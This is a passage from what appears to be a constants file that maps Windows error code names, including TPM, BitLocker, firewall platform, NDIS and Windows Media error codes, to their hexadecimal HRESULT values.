0x80290202\nTBSIMP_E_INVALID_CONTEXT_PARAM                               = 0x80290203\nTBSIMP_E_TPM_ERROR                                           = 0x80290204\nTBSIMP_E_HASH_BAD_KEY                                        = 0x80290205\nTBSIMP_E_DUPLICATE_VHANDLE                                   = 0x80290206\nTBSIMP_E_INVALID_OUTPUT_POINTER                              = 0x80290207\nTBSIMP_E_INVALID_PARAMETER                                   = 0x80290208\nTBSIMP_E_RPC_INIT_FAILED                                     = 0x80290209\nTBSIMP_E_SCHEDULER_NOT_RUNNING                               = 0x8029020A\nTBSIMP_E_COMMAND_CANCELED                                    = 0x8029020B\nTBSIMP_E_OUT_OF_MEMORY                                       = 0x8029020C\nTBSIMP_E_LIST_NO_MORE_ITEMS                                  = 0x8029020D\nTBSIMP_E_LIST_NOT_FOUND                                      = 0x8029020E\nTBSIMP_E_NOT_ENOUGH_SPACE                                    = 0x8029020F\nTBSIMP_E_NOT_ENOUGH_TPM_CONTEXTS                             = 0x80290210\nTBSIMP_E_COMMAND_FAILED                                      = 0x80290211\nTBSIMP_E_UNKNOWN_ORDINAL                                     = 0x80290212\nTBSIMP_E_RESOURCE_EXPIRED                                    = 0x80290213\nTBSIMP_E_INVALID_RESOURCE                                    = 0x80290214\nTBSIMP_E_NOTHING_TO_UNLOAD                                   = 0x80290215\nTBSIMP_E_HASH_TABLE_FULL                                     = 0x80290216\nTBSIMP_E_TOO_MANY_TBS_CONTEXTS                               = 0x80290217\nTBSIMP_E_TOO_MANY_RESOURCES                                  = 0x80290218\nTBSIMP_E_PPI_NOT_SUPPORTED                                   = 0x80290219\nTBSIMP_E_TPM_INCOMPATIBLE                                    = 0x8029021A\nTPM_E_PPI_ACPI_FAILURE                                       = 0x80290300\nTPM_E_PPI_USER_ABORT                                         = 0x80290301\nTPM_E_PPI_BIOS_FAILURE                                       = 0x80290302\nTPM_E_PPI_NOT_SUPPORTED                                      = 0x80290303\nPLA_E_DCS_NOT_FOUND                                          = 0x80300002\nPLA_E_TOO_MANY_FOLDERS                                       = 0x80300045\nPLA_E_NO_MIN_DISK                                            = 0x80300070\nPLA_E_DCS_IN_USE                                             = 0x803000AA\nPLA_E_DCS_ALREADY_EXISTS                                     = 0x803000B7\nPLA_E_PROPERTY_CONFLICT                                      = 0x80300101\nPLA_E_DCS_SINGLETON_REQUIRED                                 = 0x80300102\nPLA_E_CREDENTIALS_REQUIRED                                   = 0x80300103\nPLA_E_DCS_NOT_RUNNING                                        = 0x80300104\nPLA_E_CONFLICT_INCL_EXCL_API                                 = 0x80300105\nPLA_E_NETWORK_EXE_NOT_VALID                                  = 0x80300106\nPLA_E_EXE_ALREADY_CONFIGURED                                 = 0x80300107\nPLA_E_EXE_PATH_NOT_VALID                                     = 0x80300108\nPLA_E_DC_ALREADY_EXISTS                                      = 0x80300109\nPLA_E_DCS_START_WAIT_TIMEOUT                                 = 0x8030010A\nPLA_E_DC_START_WAIT_TIMEOUT                                  = 0x8030010B\nPLA_E_REPORT_WAIT_TIMEOUT                                    = 0x8030010C\nPLA_E_NO_DUPLICATES                                          = 0x8030010D\nPLA_E_EXE_FULL_PATH_REQUIRED                                 = 0x8030010E\nPLA_E_INVALID_SESSION_NAME                                   = 0x8030010F\nPLA_E_PLA_CHANNEL_NOT_ENABLED                                = 0x80300110\nPLA_E_TASKSCHED_CHANNEL_NOT_ENABLED                          = 0x80300111\nFVE_E_LOCKED_VOLUME                                          = 0x80310000\nFVE_E_NOT_ENCRYPTED                                          = 0x80310001\nFVE_E_NO_TPM_BIOS                                            = 0x80310002\nFVE_E_NO_MBR_METRIC                                          = 0x80310003\nFVE_E_NO_BOOTSECTOR_METRIC                                   = 0x80310004\nFVE_E_NO_BOOTMGR_METRIC                                      = 0x80310005\nFVE_E_WRONG_BOOTMGR                                          = 0x80310006\nFVE_E_SECURE_KEY_REQUIRED                                    = 0x80310007\nFVE_E_NOT_ACTIVATED                                          = 0x80310008\nFVE_E_ACTION_NOT_ALLOWED                                     = 0x80310009\nFVE_E_AD_SCHEMA_NOT_INSTALLED                                = 0x8031000A\nFVE_E_AD_INVALID_DATATYPE                                    = 0x8031000B\nFVE_E_AD_INVALID_DATASIZE                                    = 0x8031000C\nFVE_E_AD_NO_VALUES                                           = 0x8031000D\nFVE_E_AD_ATTR_NOT_SET                                        = 0x8031000E\nFVE_E_AD_GUID_NOT_FOUND                                      = 0x8031000F\nFVE_E_BAD_INFORMATION                                        = 0x80310010\nFVE_E_TOO_SMALL                                              = 0x80310011\nFVE_E_SYSTEM_VOLUME                                          = 0x80310012\nFVE_E_FAILED_WRONG_FS                                        = 0x80310013\nFVE_E_FAILED_BAD_FS                                          = 0x80310014\nFVE_E_NOT_SUPPORTED                                          = 0x80310015\nFVE_E_BAD_DATA                                               = 0x80310016\nFVE_E_VOLUME_NOT_BOUND                                       = 0x80310017\nFVE_E_TPM_NOT_OWNED                                          = 0x80310018\nFVE_E_NOT_DATA_VOLUME                                        = 0x80310019\nFVE_E_AD_INSUFFICIENT_BUFFER                                 = 0x8031001A\nFVE_E_CONV_READ                                              = 0x8031001B\nFVE_E_CONV_WRITE                                             = 0x8031001C\nFVE_E_KEY_REQUIRED                                           = 0x8031001D\nFVE_E_CLUSTERING_NOT_SUPPORTED                               = 0x8031001E\nFVE_E_VOLUME_BOUND_ALREADY                                   = 0x8031001F\nFVE_E_OS_NOT_PROTECTED                                       = 0x80310020\nFVE_E_PROTECTION_DISABLED                                    = 0x80310021\nFVE_E_RECOVERY_KEY_REQUIRED                                  = 0x80310022\nFVE_E_FOREIGN_VOLUME                                         = 0x80310023\nFVE_E_OVERLAPPED_UPDATE                                      = 0x80310024\nFVE_E_TPM_SRK_AUTH_NOT_ZERO                                  = 0x80310025\nFVE_E_FAILED_SECTOR_SIZE                                     = 0x80310026\nFVE_E_FAILED_AUTHENTICATION                                  = 0x80310027\nFVE_E_NOT_OS_VOLUME                                          = 0x80310028\nFVE_E_AUTOUNLOCK_ENABLED                                     = 0x80310029\nFVE_E_WRONG_BOOTSECTOR                                       = 0x8031002A\nFVE_E_WRONG_SYSTEM_FS                                        = 0x8031002B\nFVE_E_POLICY_PASSWORD_REQUIRED                               = 0x8031002C\nFVE_E_CANNOT_SET_FVEK_ENCRYPTED                              = 0x8031002D\nFVE_E_CANNOT_ENCRYPT_NO_KEY                                  = 0x8031002E\nFVE_E_BOOTABLE_CDDVD                                         = 0x80310030\nFVE_E_PROTECTOR_EXISTS                                       = 0x80310031\nFVE_E_RELATIVE_PATH                                          = 0x80310032\nFWP_E_CALLOUT_NOT_FOUND                                      = 0x80320001\nFWP_E_CONDITION_NOT_FOUND                                    = 0x80320002\nFWP_E_FILTER_NOT_FOUND                                       = 0x80320003\nFWP_E_LAYER_NOT_FOUND                                        = 0x80320004\nFWP_E_PROVIDER_NOT_FOUND                                     = 0x80320005\nFWP_E_PROVIDER_CONTEXT_NOT_FOUND                             = 0x80320006\nFWP_E_SUBLAYER_NOT_FOUND                                     = 0x80320007\nFWP_E_NOT_FOUND                                              = 0x80320008\nFWP_E_ALREADY_EXISTS                                         = 0x80320009\nFWP_E_IN_USE                                                 = 0x8032000A\nFWP_E_DYNAMIC_SESSION_IN_PROGRESS                            = 0x8032000B\nFWP_E_WRONG_SESSION                                          = 0x8032000C\nFWP_E_NO_TXN_IN_PROGRESS                                     = 0x8032000D\nFWP_E_TXN_IN_PROGRESS                                        = 0x8032000E\nFWP_E_TXN_ABORTED                                            = 0x8032000F\nFWP_E_SESSION_ABORTED                                        = 0x80320010\nFWP_E_INCOMPATIBLE_TXN                                       = 0x80320011\nFWP_E_TIMEOUT                                                = 0x80320012\nFWP_E_NET_EVENTS_DISABLED                                    = 0x80320013\nFWP_E_INCOMPATIBLE_LAYER                                     = 0x80320014\nFWP_E_KM_CLIENTS_ONLY                                        = 0x80320015\nFWP_E_LIFETIME_MISMATCH                                      = 0x80320016\nFWP_E_BUILTIN_OBJECT                                         = 0x80320017\nFWP_E_TOO_MANY_BOOTTIME_FILTERS                              = 0x80320018\nFWP_E_NOTIFICATION_DROPPED                                   = 0x80320019\nFWP_E_TRAFFIC_MISMATCH                                       = 0x8032001A\nFWP_E_INCOMPATIBLE_SA_STATE                                  = 0x8032001B\nFWP_E_NULL_POINTER                                           = 0x8032001C\nFWP_E_INVALID_ENUMERATOR                                     = 0x8032001D\nFWP_E_INVALID_FLAGS                                          = 0x8032001E\nFWP_E_INVALID_NET_MASK                                       = 0x8032001F\nFWP_E_INVALID_RANGE                                          = 0x80320020\nFWP_E_INVALID_INTERVAL                                       = 0x80320021\nFWP_E_ZERO_LENGTH_ARRAY                                      = 0x80320022\nFWP_E_NULL_DISPLAY_NAME                                      = 0x80320023\nFWP_E_INVALID_ACTION_TYPE                                    = 0x80320024\nFWP_E_INVALID_WEIGHT                                         = 0x80320025\nFWP_E_MATCH_TYPE_MISMATCH                                    = 0x80320026\nFWP_E_TYPE_MISMATCH                                          = 0x80320027\nFWP_E_OUT_OF_BOUNDS                                          = 0x80320028\nFWP_E_RESERVED                                               = 0x80320029\nFWP_E_DUPLICATE_CONDITION                                    = 0x8032002A\nFWP_E_DUPLICATE_KEYMOD                                       = 0x8032002B\nFWP_E_ACTION_INCOMPATIBLE_WITH_LAYER                         = 0x8032002C\nFWP_E_ACTION_INCOMPATIBLE_WITH_SUBLAYER                      = 0x8032002D\nFWP_E_CONTEXT_INCOMPATIBLE_WITH_LAYER                        = 0x8032002E\nFWP_E_CONTEXT_INCOMPATIBLE_WITH_CALLOUT                      = 0x8032002F\nFWP_E_INCOMPATIBLE_AUTH_METHOD                               = 0x80320030\nFWP_E_INCOMPATIBLE_DH_GROUP                                  = 0x80320031\nFWP_E_EM_NOT_SUPPORTED                                       = 0x80320032\nFWP_E_NEVER_MATCH                                            = 0x80320033\nFWP_E_PROVIDER_CONTEXT_MISMATCH                              = 0x80320034\nFWP_E_INVALID_PARAMETER                                      = 0x80320035\nFWP_E_TOO_MANY_SUBLAYERS                                     = 0x80320036\nFWP_E_CALLOUT_NOTIFICATION_FAILED                            = 0x80320037\nFWP_E_INCOMPATIBLE_AUTH_CONFIG                               = 0x80320038\nFWP_E_INCOMPATIBLE_CIPHER_CONFIG                             = 0x80320039\nERROR_NDIS_INTERFACE_CLOSING                                 = 0x80340002\nERROR_NDIS_BAD_VERSION                                       = 0x80340004\nERROR_NDIS_BAD_CHARACTERISTICS                               = 0x80340005\nERROR_NDIS_ADAPTER_NOT_FOUND                                 = 0x80340006\nERROR_NDIS_OPEN_FAILED                                       = 0x80340007\nERROR_NDIS_DEVICE_FAILED                                     = 0x80340008\nERROR_NDIS_MULTICAST_FULL                                    = 0x80340009\nERROR_NDIS_MULTICAST_EXISTS                                  = 0x8034000A\nERROR_NDIS_MULTICAST_NOT_FOUND                               = 0x8034000B\nERROR_NDIS_REQUEST_ABORTED                                   = 0x8034000C\nERROR_NDIS_RESET_IN_PROGRESS                                 = 0x8034000D\nERROR_NDIS_INVALID_PACKET                                    = 0x8034000F\nERROR_NDIS_INVALID_DEVICE_REQUEST                            = 0x80340010\nERROR_NDIS_ADAPTER_NOT_READY                                 = 0x80340011\nERROR_NDIS_INVALID_LENGTH                                    = 0x80340014\nERROR_NDIS_INVALID_DATA                                      = 0x80340015\nERROR_NDIS_BUFFER_TOO_SHORT                                  = 0x80340016\nERROR_NDIS_INVALID_OID                                       = 0x80340017\nERROR_NDIS_ADAPTER_REMOVED                                   = 0x80340018\nERROR_NDIS_UNSUPPORTED_MEDIA                                 = 0x80340019\nERROR_NDIS_GROUP_ADDRESS_IN_USE                              = 0x8034001A\nERROR_NDIS_FILE_NOT_FOUND                                    = 0x8034001B\nERROR_NDIS_ERROR_READING_FILE                                = 0x8034001C\nERROR_NDIS_ALREADY_MAPPED                                    = 0x8034001D\nERROR_NDIS_RESOURCE_CONFLICT                                 = 0x8034001E\nERROR_NDIS_MEDIA_DISCONNECTED                                = 0x8034001F\nERROR_NDIS_INVALID_ADDRESS                                   = 0x80340022\nERROR_NDIS_PAUSED                                            = 0x8034002A\nERROR_NDIS_INTERFACE_NOT_FOUND                               = 0x8034002B\nERROR_NDIS_UNSUPPORTED_REVISION                              = 0x8034002C\nERROR_NDIS_INVALID_PORT                                      = 0x8034002D\nERROR_NDIS_INVALID_PORT_STATE                                = 0x8034002E\nERROR_NDIS_NOT_SUPPORTED                                     = 0x803400BB\nERROR_NDIS_DOT11_AUTO_CONFIG_ENABLED                         = 0x80342000\nERROR_NDIS_DOT11_MEDIA_IN_USE                                = 0x80342001\nERROR_NDIS_DOT11_POWER_STATE_INVALID                         = 0x80342002\nTRK_E_NOT_FOUND                                              = 0x8DEAD01B\nTRK_E_VOLUME_QUOTA_EXCEEDED                                  = 0x8DEAD01C\nTRK_SERVER_TOO_BUSY                                          = 0x8DEAD01E\nERROR_AUDITING_DISABLED                                      = 0xC0090001\nERROR_ALL_SIDS_FILTERED                                      = 0xC0090002\nERROR_BIZRULES_NOT_ENABLED                                   = 0xC0090003\nNS_E_NOCONNECTION                                            = 0xC00D0005\nNS_E_CANNOTCONNECT                                           = 0xC00D0006\nNS_E_CANNOTDESTROYTITLE                                      = 0xC00D0007\nNS_E_CANNOTRENAMETITLE                                       = 0xC00D0008\nNS_E_CANNOTOFFLINEDISK                                       = 0xC00D0009\nNS_E_CANNOTONLINEDISK                                        = 0xC00D000A\nNS_E_NOREGISTEREDWALKER                                      = 0xC00D000B\nNS_E_NOFUNNEL                                                = 0xC00D000C\nNS_E_NO_LOCALPLAY                                            = 0xC00D000D\nNS_E_NETWORK_BUSY                                            = 0xC00D000E\nNS_E_TOO_MANY_SESS                                           = 0xC00D000F\nNS_E_ALREADY_CONNECTED                                       = 0xC00D0010\nNS_E_INVALID_INDEX                                           = 0xC00D0011\nNS_E_PROTOCOL_MISMATCH                                       = 0xC00D0012\nNS_E_TIMEOUT                                                 = 0xC00D0013\nNS_E_NET_WRITE                                               = 0xC00D0014\nNS_E_NET_READ                                                = 0xC00D0015\nNS_E_DISK_WRITE                                              = 0xC00D0016\nNS_E_DISK_READ                                               = 0xC00D0017\nNS_E_FILE_WRITE                                              = 0xC00D0018\nNS_E_FILE_READ                                               = 0xC00D0019\nNS_E_FILE_NOT_FOUND                                          = 0xC00D001A\nNS_E_FILE_EXISTS                                             = 0xC00D001B\nNS_E_INVALID_NAME                                            = 0xC00D001C\nNS_E_FILE_OPEN_FAILED                                        = 0xC00D001D\nNS_E_FILE_ALLOCATION_FAILED                                  = 0xC00D001E\nNS_E_FILE_INIT_FAILED                                        = 0xC00D001F\nNS_E_FILE_PLAY_FAILED                                        = 0xC00D0020\nNS_E_SET_DISK_UID_FAILED                                     = 0xC00D0021\nNS_E_INDUCED                                                 = 0xC00D0022\nNS_E_CCLINK_DOWN                                             = 0xC00D0023\nNS_E_INTERNAL                                                = 0xC00D0024\nNS_E_BUSY                                                    = 0xC00D0025\nNS_E_UNRECOGNIZED_STREAM_TYPE                                = 0xC00D0026\nNS_E_NETWORK_SERVICE_FAILURE                                 = 0xC00D0027\nNS_E_NETWORK_RESOURCE_FAILURE                                = 0xC00D0028\nNS_E_CONNECTION_FAILURE                                      = 0xC00D0029\nNS_E_SHUTDOWN                                                = 0xC00D002A\nNS_E_INVALID_REQUEST                                         = 0xC00D002B\nNS_E_INSUFFICIENT_BANDWIDTH                                  = 0xC00D002C\nNS_E_NOT_REBUILDING                                          = 0xC00D002D\nNS_E_LATE_OPERATION                                          = 0xC00D002E\nNS_E_INVALID_DATA                                            = 0xC00D002F\nNS_E_FILE_BANDWIDTH_LIMIT                                    = 0xC00D0030\nNS_E_OPEN_FILE_LIMIT                                         = 0xC00D0031\nNS_E_BAD_CONTROL_DATA                                        = 0xC00D0032\nNS_E_NO_STREAM                                               = 0xC00D0033\nNS_E_STREAM_END                                              = 0xC00D0034\nNS_E_SERVER_NOT_FOUND                                        = 0xC00D0035\nNS_E_DUPLICATE_NAME                                          = 0xC00D0036\nNS_E_DUPLICATE_ADDRESS                                       = 0xC00D0037\nNS_E_BAD_MULTICAST_ADDRESS                                   = 0xC00D0038\nNS_E_BAD_ADAPTER_ADDRESS                                     = 0xC00D0039\nNS_E_BAD_DELIVERY_MODE                                       = 0xC00D003A\nNS_E_INVALID_CHANNEL                                         = 0xC00D003B\nNS_E_INVALID_STREAM                                          = 0xC00D003C\nNS_E_INVALID_ARCHIVE                                         = 0xC00D003D\nNS_E_NOTITLES                                                = 0xC00D003E\nNS_E_INVALID_CLIENT                                          = 0xC00D003F\nNS_E_INVALID_BLACKHOLE_ADDRESS                               = 0xC00D0040\nNS_E_INCOMPATIBLE_FORMAT                                     = 0xC00D0041\nNS_E_INVALID_KEY                                             = 0xC00D0042\nNS_E_INVALID_PORT                                            = 0xC00D0043\nNS_E_INVALID_TTL                                             = 0xC00D0044\nNS_E_STRIDE_REFUSED                                          = 0xC00D0045\nNS_E_MMSAUTOSERVER_CANTFINDWALKER                            = 0xC00D0046\nNS_E_MAX_BITRATE                                             = 0xC00D0047\nNS_E_LOGFILEPERIOD                                           = 0xC00D0048\nNS_E_MAX_CLIENTS                                             = 0xC00D0049\nNS_E_LOG_FILE_SIZE                                           = 0xC00D004A\nNS_E_MAX_FILERATE                                            = 0xC00D004B\nNS_E_WALKER_UNKNOWN                                          = 0xC00D004C\nNS_E_WALKER_SERVER                                           = 0xC00D004D\nNS_E_WALKER_USAGE                                            = 0xC00D004E\nNS_E_TIGER_FAIL                                              = 0xC00D0050\nNS_E_CUB_FAIL                                                = 0xC00D0053\nNS_E_DISK_FAIL                                               = 0xC00D0055\nNS_E_MAX_FUNNELS_ALERT                                       = 0xC00D0060\nNS_E_ALLOCATE_FILE_FAIL                                      = 0xC00D0061\nNS_E_PAGING_ERROR                                            = 0xC00D0062\nNS_E_BAD_BLOCK0_VERSION                                      = 0xC00D0063\nNS_E_BAD_DISK_UID                                            = 0xC00D0064\nNS_E_BAD_FSMAJOR_VERSION                                     = 0xC00D0065\nNS_E_BAD_STAMPNUMBER                                         = 0xC00D0066\nNS_E_PARTIALLY_REBUILT_DISK                                  = 0xC00D0067\nNS_E_ENACTPLAN_GIVEUP                                        = 0xC00D0068\nMCMADM_E_REGKEY_NOT_FOUND                                    = 0xC00D006A\nNS_E_NO_FORMATS                                              = 0xC00D006B\nNS_E_NO_REFERENCES                                           = 0xC00D006C\nNS_E_WAVE_OPEN                                               = 0xC00D006D\nNS_E_CANNOTCONNECTEVENTS                                     = 0xC00D006F\nNS_E_NO_DEVICE                                               = 0xC00D0071\nNS_E_NO_SPECIFIED_DEVICE                                     = 0xC00D0072\nNS_E_MONITOR_GIVEUP                                          = 0xC00D00C8\nNS_E_REMIRRORED_DISK                                         = 0xC00D00C9\nNS_E_INSUFFICIENT_DATA                                       = 0xC00D00CA\nNS_E_ASSERT                                                  = 0xC00D00CB\nNS_E_BAD_ADAPTER_NAME                                        = 0xC00D00CC\nNS_E_NOT_LICENSED                                            = 0xC00D00CD\nNS_E_NO_SERVER_CONTACT                                       = 0xC00D00CE\nNS_E_TOO_MANY_TITLES                                         = 0xC00D00CF\nNS_E_TITLE_SIZE_EXCEEDED                                     = 0xC00D00D0\nNS_E_UDP_DISABLED                                            = 0xC00D00D1\nNS_E_TCP_DISABLED                                            = 0xC00D00D2\nNS_E_HTTP_DISABLED                                           = 0xC00D00D3\nNS_E_LICENSE_EXPIRED                                         = 0xC00D00D4\nNS_E_TITLE_BITRATE                                           = 0xC00D00D5\nNS_E_EMPTY_PROGRAM_NAME                                      = 0xC00D00D6\nNS_E_MISSING_CHANNEL                                         = 0xC00D00D7\nNS_E_NO_CHANNELS                                             = 0xC00D00D8\nNS_E_INVALID_INDEX2                                          = 0xC00D00D9\nNS_E_CUB_FAIL_LINK                                           = 0xC00D0190\nNS_E_BAD_CUB_UID                                             = 0xC00D0192\nNS_E_GLITCH_MODE                                             = 0xC00D0195\nNS_E_NO_MEDIA_PROTOCOL                                       = 0xC00D019B\nNS_E_NOTHING_TO_DO                                           = 0xC00D07F1\nNS_E_NO_MULTICAST                                            = 0xC00D07F2\nNS_E_INVALID_INPUT_FORMAT                                    = 0xC00D0BB8\nNS_E_MSAUDIO_NOT_INSTALLED                                   = 0xC00D0BB9\nNS_E_UNEXPECTED_MSAUDIO_ERROR                                = 0xC00D0BBA\nNS_E_INVALID_OUTPUT_FORMAT                                   = 0xC00D0BBB\nNS_E_NOT_CONFIGURED                                          = 0xC00D0BBC\nNS_E_PROTECTED_CONTENT                                       = 0xC00D0BBD\nNS_E_LICENSE_REQUIRED                                        = 0xC00D0BBE\nNS_E_TAMPERED_CONTENT                                        = 0xC00D0BBF\nNS_E_LICENSE_OUTOFDATE                                       = 0xC00D0BC0\nNS_E_LICENSE_INCORRECT_RIGHTS                                = 0xC00D0BC1\nNS_E_AUDIO_CODEC_NOT_INSTALLED                               = 0xC00D0BC2\nNS_E_AUDIO_CODEC_ERROR                                       = 0xC00D0BC3\nNS_E_VIDEO_CODEC_NOT_INSTALLED                               = 0xC00D0BC4\nNS_E_VIDEO_CODEC_ERROR                                       = 0xC00D0BC5\nNS_E_INVALIDPROFILE                                          = 0xC00D0BC6\nNS_E_INCOMPATIBLE_VERSION                                    = 0xC00D0BC7\nNS_E_OFFLINE_MODE                                            = 0xC00D0BCA\nNS_E_NOT_CONNECTED                                           = 0xC00D0BCB\nNS_E_TOO_MUCH_DATA                                           = 0xC00D0BCC\nNS_E_UNSUPPORTED_PROPERTY                                    = 0xC00D0BCD\nNS_E_8BIT_WAVE_UNSUPPORTED                                   = 0xC00D0BCE\nNS_E_NO_MORE_SAMPLES                                         = 0xC00D0BCF\nNS_E_INVALID_SAMPLING_RATE                                   = 0xC00D0BD0\nNS_E_MAX_PACKET_SIZE_TOO_SMALL                               = 0xC00D0BD1\nNS_E_LATE_PACKET                                             = 0xC00D0BD2\nNS_E_DUPLICATE_PACKET                                        = 0xC00D0BD3\nNS_E_SDK_BUFFERTOOSMALL                                      = 0xC00D0BD4\nNS_E_INVALID_NUM_PASSES                                      = 0xC00D0BD5\nNS_E_ATTRIBUTE_READ_ONLY                                     = 0xC00D0BD6\nNS_E_ATTRIBUTE_NOT_ALLOWED                                   = 0xC00D0BD7\nNS_E_INVALID_EDL                                             = 0xC00D0BD8\nNS_E_DATA_UNIT_EXTENSION_TOO_LARGE                           = 0xC00D0BD9\nNS_E_CODEC_DMO_ERROR                                         = 0xC00D0BDA\nNS_E_FEATURE_DISABLED_BY_GROUP_POLICY                        = 0xC00D0BDC\nNS_E_FEATURE_DISABLED_IN_SKU                                 = 0xC00D0BDD\nNS_E_NO_CD                                                   = 0xC00D0FA0\nNS_E_CANT_READ_DIGITAL                                       = 0xC00D0FA1\nNS_E_DEVICE_DISCONNECTED                                     = 0xC00D0FA2\nNS_E_DEVICE_NOT_SUPPORT_FORMAT                               = 0xC00D0FA3\nNS_E_SLOW_READ_DIGITAL                                       = 0xC00D0FA4\nNS_E_MIXER_INVALID_LINE                                      = 0xC00D0FA5\nNS_E_MIXER_INVALID_CONTROL                                   = 0xC00D0FA6\nNS_E_MIXER_INVALID_VALUE                                     = 0xC00D0FA7\nNS_E_MIXER_UNKNOWN_MMRESULT                                  = 0xC00D0FA8\nNS_E_USER_STOP                                               = 0xC00D0FA9\nNS_E_MP3_FORMAT_NOT_FOUND                                    = 0xC00D0FAA\nNS_E_CD_READ_ERROR_NO_CORRECTION                             = 0xC00D0FAB\nNS_E_CD_READ_ERROR                                           = 0xC00D0FAC\nNS_E_CD_SLOW_COPY                                            = 0xC00D0FAD\nNS_E_CD_COPYTO_CD                                            = 0xC00D0FAE\nNS_E_MIXER_NODRIVER                                          = 0xC00D0FAF\nNS_E_REDBOOK_ENABLED_WHILE_COPYING                           = 0xC00D0FB0\nNS_E_CD_REFRESH                                              = 0xC00D0FB1\nNS_E_CD_DRIVER_PROBLEM                                       = 0xC00D0FB2\nNS_E_WONT_DO_DIGITAL                                         = 0xC00D0FB3\nNS_E_WMPXML_NOERROR                                          = 0xC00D0FB4\nNS_E_WMPXML_ENDOFDATA                                        = 0xC00D0FB5\nNS_E_WMPXML_PARSEERROR                                       = 0xC00D0FB6\nNS_E_WMPXML_ATTRIBUTENOTFOUND                                = 0xC00D0FB7\nNS_E_WMPXML_PINOTFOUND                                       = 0xC00D0FB8\nNS_E_WMPXML_EMPTYDOC                                         = 0xC00D0FB9\nNS_E_WMP_PATH_ALREADY_IN_LIBRARY                             = 0xC00D0FBA\nNS_E_WMP_FILESCANALREADYSTARTED                              = 0xC00D0FBE\nNS_E_WMP_HME_INVALIDOBJECTID                                 = 0xC00D0FBF\nNS_E_WMP_MF_CODE_EXPIRED                                     = 0xC00D0FC0\nNS_E_WMP_HME_NOTSEARCHABLEFORITEMS                           = 0xC00D0FC1\nNS_E_WMP_ADDTOLIBRARY_FAILED                                 = 0xC00D0FC7\nNS_E_WMP_WINDOWSAPIFAILURE                                   = 0xC00D0FC8\nNS_E_WMP_RECORDING_NOT_ALLOWED                               = 0xC00D0FC9\nNS_E_DEVICE_NOT_READY                                        = 0xC00D0FCA\nNS_E_DAMAGED_FILE                                            = 0xC00D0FCB\nNS_E_MPDB_GENERIC                                            = 0xC00D0FCC\nNS_E_FILE_FAILED_CHECKS                                      = 0xC00D0FCD\nNS_E_MEDIA_LIBRARY_FAILED                                    = 0xC00D0FCE\nNS_E_SHARING_VIOLATION                                       = 0xC00D0FCF\nNS_E_NO_ERROR_STRING_FOUND                                   = 0xC00D0FD0\nNS_E_WMPOCX_NO_REMOTE_CORE                                   = 0xC00D0FD1\nNS_E_WMPOCX_NO_ACTIVE_CORE                                   = 0xC00D0FD2\nNS_E_WMPOCX_NOT_RUNNING_REMOTELY                             = 0xC00D0FD3\nNS_E_WMPOCX_NO_REMOTE_WINDOW                                 = 0xC00D0FD4\nNS_E_WMPOCX_ERRORMANAGERNOTAVAILABLE                         = 0xC00D0FD5\nNS_E_PLUGIN_NOTSHUTDOWN                                      = 0xC00D0FD6\nNS_E_WMP_CANNOT_FIND_FOLDER                                  = 0xC00D0FD7\nNS_E_WMP_STREAMING_RECORDING_NOT_ALLOWED                     = 0xC00D0FD8\nNS_E_WMP_PLUGINDLL_NOTFOUND                                  = 0xC00D0FD9\nNS_E_NEED_TO_ASK_USER                                        = 0xC00D0FDA\nNS_E_WMPOCX_PLAYER_NOT_DOCKED                                = 0xC00D0FDB\nNS_E_WMP_EXTERNAL_NOTREADY                                   = 0xC00D0FDC\nNS_E_WMP_MLS_STALE_DATA                                      = 0xC00D0FDD\nNS_E_WMP_UI_SUBCONTROLSNOTSUPPORTED                          = 0xC00D0FDE\nNS_E_WMP_UI_VERSIONMISMATCH                                  = 0xC00D0FDF\nNS_E_WMP_UI_NOTATHEMEFILE                                    = 0xC00D0FE0\nNS_E_WMP_UI_SUBELEMENTNOTFOUND                               = 0xC00D0FE1\nNS_E_WMP_UI_VERSIONPARSE                                     = 0xC00D0FE2\nNS_E_WMP_UI_VIEWIDNOTFOUND                                   = 0xC00D0FE3\nNS_E_WMP_UI_PASSTHROUGH                                      = 0xC00D0FE4\nNS_E_WMP_UI_OBJECTNOTFOUND                                   = 0xC00D0FE5\nNS_E_WMP_UI_SECONDHANDLER                                    = 0xC00D0FE6\nNS_E_WMP_UI_NOSKININZIP                                      = 0xC00D0FE7\nNS_E_WMP_URLDOWNLOADFAILED                                   = 0xC00D0FEA\nNS_E_WMPOCX_UNABLE_TO_LOAD_SKIN                              = 0xC00D0FEB\nNS_E_WMP_INVALID_SKIN                                        = 0xC00D0FEC\nNS_E_WMP_SENDMAILFAILED                                      = 0xC00D0FED\nNS_E_WMP_LOCKEDINSKINMODE                                    = 0xC00D0FEE\nNS_E_WMP_FAILED_TO_SAVE_FILE                                 = 0xC00D0FEF\nNS_E_WMP_SAVEAS_READONLY                                     = 0xC00D0FF0\nNS_E_WMP_FAILED_TO_SAVE_PLAYLIST                             = 0xC00D0FF1\nNS_E_WMP_FAILED_TO_OPEN_WMD                                  = 0xC00D0FF2\nNS_E_WMP_CANT_PLAY_PROTECTED                                 = 0xC00D0FF3\nNS_E_SHARING_STATE_OUT_OF_SYNC                               = 0xC00D0FF4\nNS_E_WMPOCX_REMOTE_PLAYER_ALREADY_RUNNING                    = 0xC00D0FFA\nNS_E_WMP_RBC_JPGMAPPINGIMAGE                                 = 0xC00D1004\nNS_E_WMP_JPGTRANSPARENCY                                     = 0xC00D1005\nNS_E_WMP_INVALID_MAX_VAL                                     = 0xC00D1009\nNS_E_WMP_INVALID_MIN_VAL                                     = 0xC00D100A\nNS_E_WMP_CS_JPGPOSITIONIMAGE                                 = 0xC00D100E\nNS_E_WMP_CS_NOTEVENLYDIVISIBLE                               = 0xC00D100F\nNS_E_WMPZIP_NOTAZIPFILE                                      = 0xC00D1018\nNS_E_WMPZIP_CORRUPT                                          = 0xC00D1019\nNS_E_WMPZIP_FILENOTFOUND                                     = 0xC00D101A\nNS_E_WMP_IMAGE_FILETYPE_UNSUPPORTED                          = 0xC00D1022\nNS_E_WMP_IMAGE_INVALID_FORMAT                                = 0xC00D1023\nNS_E_WMP_GIF_UNEXPECTED_ENDOFFILE                            = 0xC00D1024\nNS_E_WMP_GIF_INVALID_FORMAT                                  = 0xC00D1025\nNS_E_WMP_GIF_BAD_VERSION_NUMBER                              = 0xC00D1026\nNS_E_WMP_GIF_NO_IMAGE_IN_FILE                                = 0xC00D1027\nNS_E_WMP_PNG_INVALIDFORMAT                                   = 0xC00D1028\nNS_E_WMP_PNG_UNSUPPORTED_BITDEPTH                            = 0xC00D1029\nNS_E_WMP_PNG_UNSUPPORTED_COMPRESSION                         = 0xC00D102A\nNS_E_WMP_PNG_UNSUPPORTED_FILTER                              = 